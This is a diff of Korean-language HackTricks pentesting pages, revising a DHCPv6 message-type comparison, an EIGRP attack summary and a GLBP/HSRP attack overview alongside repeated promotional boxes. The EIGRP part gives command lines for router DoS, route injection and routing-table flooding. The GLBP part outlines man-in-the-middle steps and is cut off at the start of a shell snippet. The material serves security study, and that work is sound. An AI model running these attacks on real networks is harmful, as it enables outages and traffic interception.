* [**SourceGraph**](https://sourcegraph.com/search): 수백만 개의 리포지토리에서 검색합니다. 무료 버전과 엔터프라이즈 버전(15일 무료)이 있습니다. 정규식을 지원합니다.
|
||||
* [**Github Search**](https://github.com/search): Github 전체에서 검색합니다. 정규식을 지원합니다.
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): 수백만 개의 저장소에서 검색. 무료 버전과 엔터프라이즈 버전(15일 무료)이 있습니다. 정규식을 지원합니다.
|
||||
* [**Github Search**](https://github.com/search): Github 전체에서 검색. 정규식을 지원합니다.
|
||||
* 아마도 [**Github Code Search**](https://cs.github.com/)도 확인하는 것이 유용할 수 있습니다.
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab 프로젝트 전체에서 검색합니다. 정규식을 지원합니다.
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab 프로젝트 전체에서 검색. 정규식을 지원합니다.
|
||||
* [**SearchCode**](https://searchcode.com/): 수백만 개의 프로젝트에서 코드를 검색합니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
리포지토리에서 유출된 정보를 찾을 때 `git log -p`와 같은 것을 실행하면 **다른 커밋을 포함하는 다른 브랜치**가 있을 수 있음을 잊지 마세요!
|
||||
저장소에서 유출물을 찾을 때 `git log -p`와 같은 명령을 실행할 때 **다른 커밋을 포함하는 다른 브랜치**에 비밀 정보가 포함될 수 있음을 잊지 마세요!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### DHCPv6 vs. DHCPv4 메시지 유형 비교
|
||||
DHCPv6와 DHCPv4 메시지 유형의 비교를 다음 표에 제시합니다:
|
||||
아래 표는 DHCPv6와 DHCPv4 메시지 유형을 비교한 것입니다:
|
||||
|
||||
| DHCPv6 메시지 유형 | DHCPv4 메시지 유형 |
|
||||
|:-------------------|:-------------------|
|
||||
|
@ -28,36 +29,37 @@ DHCPv6와 DHCPv4 메시지 유형의 비교를 다음 표에 제시합니다:
|
|||
| Reconfigure (10) | DHCPFORCERENEW |
|
||||
| Relay-Forw (12), Relay-Reply (13) | 없음 |
|
||||
|
||||
**DHCPv6 메시지 유형에 대한 자세한 설명:**
|
||||
**DHCPv6 메시지 유형 상세 설명:**
|
||||
|
||||
1. **Solicit (1)**: DHCPv6 클라이언트가 사용 가능한 서버를 찾기 위해 시작됩니다.
|
||||
2. **Advertise (2)**: DHCP 서비스의 가용성을 나타내기 위해 서버에서 Solicit에 대한 응답으로 전송됩니다.
|
||||
3. **Request (3)**: 클라이언트는 특정 서버로부터 IP 주소 또는 접두사를 요청하기 위해 이를 사용합니다.
|
||||
4. **Confirm (4)**: 클라이언트가 할당된 주소가 네트워크에서 여전히 유효한지 확인하기 위해 사용되며, 일반적으로 네트워크 변경 후에 사용됩니다.
|
||||
5. **Renew (5)**: 클라이언트는 주소 수명을 연장하거나 구성을 업데이트하기 위해 원래 서버에 이를 전송합니다.
|
||||
6. **Rebind (6)**: 응답이 Renew에 대해 수신되지 않을 때 특히 주소 수명을 연장하거나 구성을 업데이트하기 위해 임의의 서버로 전송됩니다.
|
||||
7. **Reply (7)**: 서버는 주소, 구성 매개변수를 제공하거나 Release 또는 Decline과 같은 메시지를 승인하기 위해 이를 사용합니다.
|
||||
8. **Release (8)**: 클라이언트는 하나 이상의 할당된 주소를 사용 중지하도록 서버에 알립니다.
|
||||
9. **Decline (9)**: 클라이언트가 할당된 주소가 네트워크에서 충돌하는 것을 보고하기 위해 전송됩니다.
|
||||
10. **Reconfigure (10)**: 서버는 클라이언트가 새로운 또는 업데이트된 구성을 위해 트랜잭션을 시작하도록 유도합니다.
|
||||
11. **Information-Request (11)**: 클라이언트는 IP 주소 할당 없이 구성 매개변수를 요청합니다.
|
||||
12. **Relay-Forw (12)**: 중계 에이전트가 메시지를 서버로 전달합니다.
|
||||
13. **Relay-Repl (13)**: 서버는 중계 에이전트에 응답하여 메시지를 클라이언트에 전달합니다.
|
||||
1. **Solicit (1)**: DHCPv6 클라이언트가 사용 가능한 서버를 찾기 위해 시작됨.
|
||||
2. **Advertise (2)**: Solicit에 대한 응답으로 서버가 DHCP 서비스의 가용성을 나타냄.
|
||||
3. **Request (3)**: 클라이언트가 특정 서버로부터 IP 주소나 접두어를 요청할 때 사용됨.
|
||||
4. **Confirm (4)**: 클라이언트가 할당된 주소가 네트워크에서 여전히 유효한지 확인하기 위해 사용되며, 일반적으로 네트워크 변경 후에 사용됨.
|
||||
5. **Renew (5)**: 클라이언트가 원래 서버에게 주소 수명을 연장하거나 구성을 업데이트하기 위해 이를 전송함.
|
||||
6. **Rebind (6)**: 응답이 Renew에 대한 응답을 받지 못했을 때 특히 주소 수명을 연장하거나 구성을 업데이트하기 위해 어떤 서버에게 전송됨.
|
||||
7. **Reply (7)**: 서버가 주소, 구성 매개변수를 제공하거나 Release 또는 Decline과 같은 메시지를 승인하기 위해 사용함.
|
||||
8. **Release (8)**: 클라이언트가 하나 이상의 할당된 주소를 사용 중지하도록 서버에게 알림.
|
||||
9. **Decline (9)**: 클라이언트가 할당된 주소가 네트워크에서 충돌한다고 보고하기 위해 전송됨.
|
||||
10. **Reconfigure (10)**: 서버가 클라이언트에게 새로운 또는 업데이트된 구성을 위해 트랜잭션을 시작하도록 유도함.
|
||||
11. **Information-Request (11)**: IP 주소 할당 없이 구성 매개변수를 요청하는 클라이언트.
|
||||
12. **Relay-Forw (12)**: 릴레이 에이전트가 메시지를 서버로 전달함.
|
||||
13. **Relay-Repl (13)**: 서버가 릴레이 에이전트에 응답하고, 그 후 메시지를 클라이언트에 전달함.
|
||||
|
||||
## 참고 자료
|
||||
* [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# EIGRP 공격
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출하여** 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**이것은** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **에서 노출된 공격에 대한 요약입니다. 자세한 정보는 해당 링크를 확인하세요.
|
||||
**이것은** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)**에 노출된 공격에 대한 요약입니다. 자세한 정보는 해당 링크를 확인하세요.**
|
||||
|
||||
## **가짜 EIGRP 이웃 공격**
|
||||
|
||||
- **목적**: EIGRP hello 패킷을 통해 라우터 CPU를 과부하시켜 서비스 거부(DoS) 공격을 유발합니다.
|
||||
- **목적**: EIGRP hello 패킷을 통해 라우터 CPU를 과부하시켜 서비스 거부 (DoS) 공격을 유발할 수 있습니다.
|
||||
- **도구**: **helloflooding.py** 스크립트.
|
||||
- **실행**:
|
||||
%%%bash
|
||||
|
@ -31,22 +32,22 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **EIGRP 블랙홀 공격**
|
||||
|
||||
- **목적**: 가짜 경로를 주입하여 네트워크 트래픽 흐름을 방해하여 트래픽이 존재하지 않는 대상으로 전달되는 블랙홀을 생성합니다.
|
||||
- **목적**: 거짓 경로를 주입하여 네트워크 트래픽 흐름을 방해하여 트래픽이 존재하지 않는 대상으로 전송되는 블랙홀을 유도합니다.
|
||||
- **도구**: **routeinject.py** 스크립트.
|
||||
- **실행**:
|
||||
%%%bash
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
%%%
|
||||
- **매개변수**:
|
||||
- `--interface`: 공격자의 시스템 인터페이스를 지정합니다.
|
||||
- `--interface`: 공격자 시스템 인터페이스를 지정합니다.
|
||||
- `--as`: EIGRP AS 번호를 정의합니다.
|
||||
- `--src`: 공격자의 IP 주소를 설정합니다.
|
||||
- `--src`: 공격자 IP 주소를 설정합니다.
|
||||
- `--dst`: 대상 서브넷 IP를 설정합니다.
|
||||
- `--prefix`: 대상 서브넷 IP의 마스크를 정의합니다.
|
||||
|
||||
## **K-값 남용 공격**
|
||||
|
||||
- **목적**: 변경된 K-값을 주입하여 EIGRP 도메인 내에서 지속적인 연결 끊김과 재연결을 생성하여 DoS 공격을 유발합니다.
|
||||
- **목적**: 변경된 K-값을 주입하여 EIGRP 도메인 내에서 지속적인 중단 및 재연결을 생성하여 DoS 공격을 유발합니다.
|
||||
- **도구**: **relationshipnightmare.py** 스크립트.
|
||||
- **실행**:
|
||||
%%%bash
|
||||
|
@ -59,7 +60,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **라우팅 테이블 오버플로우 공격**
|
||||
|
||||
- **목적**: 라우팅 테이블에 다수의 가짜 경로를 플러딩하여 라우터의 CPU와 RAM을 과부하시킵니다.
|
||||
- **목적**: 거짓 경로를 사용하여 라우터의 CPU 및 RAM을 과부하시켜 라우팅 테이블을 다수의 잘못된 경로로 침범합니다.
|
||||
- **도구**: **routingtableoverflow.py** 스크립트.
|
||||
- **실행**:
|
||||
%%%bash
|
||||
|
@ -71,16 +72,17 @@ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
|||
- `--src`: 공격자의 IP 주소를 설정합니다.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출하여** 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# GLBP & HSRP 공격
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -21,17 +22,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
## FHRP 해킹 개요
|
||||
|
||||
### FHRP 통찰
|
||||
FHRP는 여러 라우터를 하나의 가상 단위로 병합하여 네트워크 견고성을 제공하고 부하 분산 및 장애 허용성을 향상시키기 위해 설계되었습니다. Cisco Systems는 GLBP 및 HSRP와 같은 중요한 프로토콜을 이 스위트에 소개했습니다.
|
||||
FHRP는 여러 라우터를 하나의 가상 단위로 병합하여 네트워크 견고성을 제공하도록 설계되어 로드 분산 및 장애 허용성을 향상시킵니다. Cisco Systems는 GLBP 및 HSRP와 같은 중요한 프로토콜을 이 스위트에 소개했습니다.
|
||||
|
||||
### GLBP 프로토콜 통찰
|
||||
Cisco의 창작물인 GLBP는 TCP/IP 스택에서 작동하며 통신에 UDP 포트 3222를 사용합니다. GLBP 그룹의 라우터는 3초 간격으로 "hello" 패킷을 교환합니다. 라우터가 이러한 패킷을 10초 동안 보내지 않으면 오프라인으로 간주됩니다. 그러나 이러한 타이머는 고정되어 있지 않고 수정할 수 있습니다.
|
||||
|
||||
### GLBP 작동 및 부하 분산
|
||||
GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터 간에 부하를 분산하는 기능으로 두드러집니다. GLBP 그룹에서 각 라우터는 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 다음과 같은 여러 메커니즘을 통해 실제 부하 분산을 제공합니다:
|
||||
### GLBP 작동 및 로드 분산
|
||||
GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터 간의 로드 분산을 가능하게 함으로써 라우터 간의 로드 분산을 가능하게 합니다. GLBP 그룹에서 각 라우터는 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 다음과 같은 여러 메커니즘을 통해 진정한 로드 밸런싱을 제공합니다:
|
||||
|
||||
- **호스트 종속 부하 분산:** 호스트에 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성에 필수적입니다.
|
||||
- **라운드 로빈 부하 분산:** 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 수행하는 기본 접근 방식입니다.
|
||||
- **가중 라운드 로빈 부하 분산:** 미리 정의된 "가중치" 메트릭에 따라 부하를 분배합니다.
|
||||
- **호스트 종속 로드 밸런싱:** 호스트에 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성에 필수적입니다.
|
||||
- **라운드 로빈 로드 밸런싱:** 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 사용하는 기본 접근 방식입니다.
|
||||
- **가중 라운드 로빈 로드 밸런싱:** 미리 정의된 "가중치" 메트릭에 따라 부하를 분배합니다.
|
||||
|
||||
### GLBP의 주요 구성 요소 및 용어
|
||||
- **AVG (Active Virtual Gateway):** MAC 주소를 동료 라우터에 할당하는 주요 라우터입니다.
|
||||
|
@ -40,13 +41,13 @@ GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터
|
|||
- **GLBP 가중치:** 라우터의 현재 부하를 반영하며, 수동으로 조정하거나 Object Tracking을 통해 조정할 수 있습니다.
|
||||
- **GLBP 가상 IP 주소:** 모든 연결된 장치에 대한 네트워크의 기본 게이트웨이로 작동합니다.
|
||||
|
||||
상호 작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운영 상태로 간주됩니다.
|
||||
상호 작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운용 상태로 간주됩니다.
|
||||
|
||||
### GLBP 공격 메커니즘
|
||||
공격자는 우선 순위 값이 가장 높은(255) GLBP 패킷을 보내어 주 라우터가 될 수 있습니다. 이로 인해 DoS 또는 MITM 공격이 발생할 수 있으며, 트래픽 가로채기 또는 리디렉션이 가능해집니다.
|
||||
|
||||
### Loki를 사용한 GLBP 공격 실행
|
||||
[Loki](https://github.com/raizo62/loki_on_kali)는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계로는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 수집하는 것이 포함됩니다.
|
||||
[Loki](https://github.com/raizo62/loki_on_kali)는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 수집하는 것입니다.
|
||||
|
||||
공격 단계:
|
||||
1. Promiscuous 모드로 전환하고 IP 포워딩을 활성화합니다.
|
||||
|
@ -57,9 +58,9 @@ GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터
|
|||
6. 완전한 트래픽 가시성을 위해 SNAT를 구현합니다.
|
||||
7. 원래 AVG 라우터를 통해 계속된 인터넷 액세스를 보장하기 위해 라우팅을 조정합니다.
|
||||
|
||||
이러한 단계를 따르면 공격자는 "중간자"로 위치하여 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로채고 분석할 수 있습니다.
|
||||
이러한 단계를 따라가면 공격자는 "중간자"로 위치하여 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로채고 분석할 수 있습니다.
|
||||
|
||||
시연을 위해 필요한 명령 스니펫은 다음과 같습니다:
|
||||
시연을 위해 필요한 명령어 스니펫은 다음과 같습니다:
|
||||
```bash
|
||||
# Enable promiscuous mode and IP forwarding
|
||||
sudo ip link set eth0 promisc on
|
||||
|
